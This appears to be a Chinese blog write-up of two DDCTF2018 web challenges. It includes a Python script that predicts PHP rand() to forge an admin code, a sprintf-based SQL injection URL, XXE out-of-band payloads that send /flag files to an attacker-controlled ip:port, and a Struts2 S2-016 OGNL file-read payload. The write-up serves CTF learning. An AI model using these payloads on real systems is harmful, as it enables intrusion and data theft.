DDCTF2018 2道web writeup

我的博客

提示:www.tar.gz

  根据提示能找到网站备份文件,下载后只有三个文件,从代码上并没有发现什么漏洞,而我们的目标是注册一个标志位是admin的账号,其本身存在的admin是个弱密码,但这个账号并没有admin的标志位,所以我们只能自己想办法注册一个。首先看看注册部分关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}

$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);

if ($sth->fetch() !== false) {
die('username has been registered');
}

if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
....

  可以看到我们只有让我们post的$code$admin的值相等才能通过验证,而$admin的值又是经过str_shuffle随机打乱的32个字符。而str_shuffle的源码如下:




  可以看到它使用了rand()作为随机数产生器,从而打乱字符顺序,而rand()产生的并不是真的随机数而是个伪随机数。我们可以通过下面的公式去预测第32位以后的随机数。
1
2
PHP_RAND_MAX = 2147483647
num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

  当我们知道了生成的随机数我们就能预测出str_shuffle打乱的结果,最终在这道题中注册一个admin权限的账号。下面是payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-

import requests
from bs4 import BeautifulSoup

PHP_RAND_MAX = 2147483647
url = 'http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
sess = requests.session()
# num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

def RAND_RANGE(__n, __min, __max, __tmax):
return (__min) + int(((__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
# 仿照PHP版的shuffle
def shuffle(strs, tokens):
lens = len(strs)
strs = list(strs)
n_left = lens
i = 0
while (n_left > 0):
n_left -= 1
rnd_idx = tokens[i]
i += 1
rnd_idx = RAND_RANGE(rnd_idx, 0 ,n_left, PHP_RAND_MAX)
if (rnd_idx != n_left):
strs[rnd_idx], strs[n_left] = strs[n_left], strs[rnd_idx]
return ''.join(strs)


num = []
for i in range(32):
html = sess.get(url)
context = html.content
soup = BeautifulSoup(context, 'lxml')
csrf = soup.select('#csrf')[0].get('value')
if i == 31:
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
if tmp == int(csrf):
print('预测成功!')
else:
print('预测失败!')
exit(1)
num.append(int(csrf))

# 预测后面 62个
tokens = []
for i in range(32,94):
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
num.append(int(tmp))
tokens.append(int(tmp))


strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
code = shuffle(strs, tokens)[:32]
code = 'admin###' + code

print('预测code: ' + code)
print('预测csrf: ' + str(num[31]))

data = {
# 在访问第33次的时候CSRF应该是上一次的CSRF,也就是第32次,注意这里是从0开始
'csrf':num[31],
'username':'junay',
'password':'123',
'code':code
}

html = sess.post(url, data)
print(html.content)

  上面的程序预测的时候有可能存在1/-1的误差,如果出现预测失败重新运行几次即可。

  有了账号后,我们就能登录,然后审计登录后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// index.php 截取关键代码
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}

  这个代码中使用了存在漏洞的sprintf函数,我们可以通过格式化漏洞绕过addslashes。在格式化的时候sprintf支持填充,我们可以使用%1$'绕过反斜杠。




  所以我们的payload就是:
1
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome%1$' union select 1,f14g,3 from `key` limit 0,1 -- +

喝杯Java冷静下

  首先能在源代码中找到账号密码:




1
2
// 解开后
admin: admin_password_2333_caicaikan

  使用这个账号密码我们能登录进后台,在后台里我们可以发现一个文件下载的漏洞。

1
2
// url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt

  按照上次Java web的题目,我们开始找配置文件,比如:web.xml、applicationContext.xml等,但当我们找class文件时,却没有收获,但是匹配文件中的包名给我思路。




  在GitHub上搜了一下,果然找到了这个框架。地址:quick4j。然后按照这个项目的路径我们就能找到关键的类,最终能找到的文件差不多如下:




  标注的文件是控制文件,也是我们需要关注的文件,其内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.eliteams.quick4j.web.controller;
// 删除了导入包

@Controller
@RequestMapping({"/user"})
public class UserController
{
public static final String hintFile = "/flag/hint.txt";
@Resource
private UserService userService;

@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
{
try
{
Subject subject = SecurityUtils.getSubject();
if (subject.isAuthenticated()) {
return "redirect:/";
}
if (result.hasErrors())
{
model.addAttribute("error", "参数错误!");
return "login";
}
if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||
(user.getPassword().isEmpty()) || (user.getPassword() == null)) {
return "login";
}
subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));

User authUserInfo = this.userService.selectByUsername(user.getUsername());
request.getSession().setAttribute("userInfo", authUserInfo);
}
catch (AuthenticationException e)
{
model.addAttribute("error", "用户名或密码错误 !");
return "login";
}
return "redirect:/";
}

@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String logout(HttpSession session)
{
session.removeAttribute("userInfo");

Subject subject = SecurityUtils.getSubject();
subject.logout();
return "login";
}

@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"admin"})
public String admin()
{
return "拥有admin角色,能访问";
}

@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresPermissions({"user:create"})
public String create()
{
return "拥有user:create权限,能访问";
}

@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"guest"})
public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
throws IOException
{
if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
return null;
}
String path = request.getServletContext().getRealPath("/");
System.out.println(path);

File file = new File(path + File.separator + filename);
HttpHeaders headers = new HttpHeaders();

String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");

headers.setContentDispositionFormData("attachment", downloadFielName);

headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
}

@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);
}
catch (ParserConfigurationException e)
{
e.printStackTrace();
return "ParserConfigurationException";
}
catch (SAXException e)
{
e.printStackTrace();
return "SAXException";
}
catch (IOException e)
{
e.printStackTrace();
return "IOException";
}
return "ok~ try to read /flag/hint.txt";
}
}

  所以我们下一步就需要访问nicaicaikan_url_23333_secret,但是已经有的admin账号并不是super_admin,而且也没有注册账号的接口存在。这种情况下只能照着GitHub上的模板去翻其他文件,终于在SecurityRealm.java中找到了线索:




  这里注意到我们需要找到一个字符串的hashCode()==0,经过Google后,我们能在Stack Overflow找到一个答案:f5a5a608

  登录后并没有发现特别的功能,但是代码里已经给了我们非常明显的提示:xxe攻击,因为它自身并没有回显,所以我们需要找到一个支持xxe外带数据的方法,解决方案就是:xxe oob。我们先在自己服务器上放置evil.xml,内容如下:

1
2
3
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port/%file;'>">
%int;
%send;

  ps: 上面的port是nc监听的端口,接着构造payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  发送过去:




  我们就能在服务器上收到信息:




  根据提示我们接着构造payload:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  结果:




  再来:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>




  这时候用到了题目的提示:

提示:第二层关卡应用版本号为2.3.1

  所以我们找找Struts2 2.3.1版本的漏洞,此篇文章有较为详细的记载。

  经过多次尝试后我们能利用的漏洞版本是S2-016,接着再去找漏洞脚本,一个能用的payload如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:${#a=new java.io.FileInputStream('/flag/flag.txt'),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[60],#c.read(#d),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#matt.println(#d),#matt.flush(),#matt.close()}">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.xml">
%dtd;
%all;]>
<value>&send;</value>




  在进行复现的时候经常会出现IOException,按照其他的writeup里的payload也是如此,这也有可能是环境问题导致的。

  参考链接:

  https://impakho.com/post/ddctf-2018-writeup

  https://thief.one/2017/06/20/1/

  http://www.freebuf.com/articles/web/97833.html

  https://github.com/Eliteams/quick4j

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×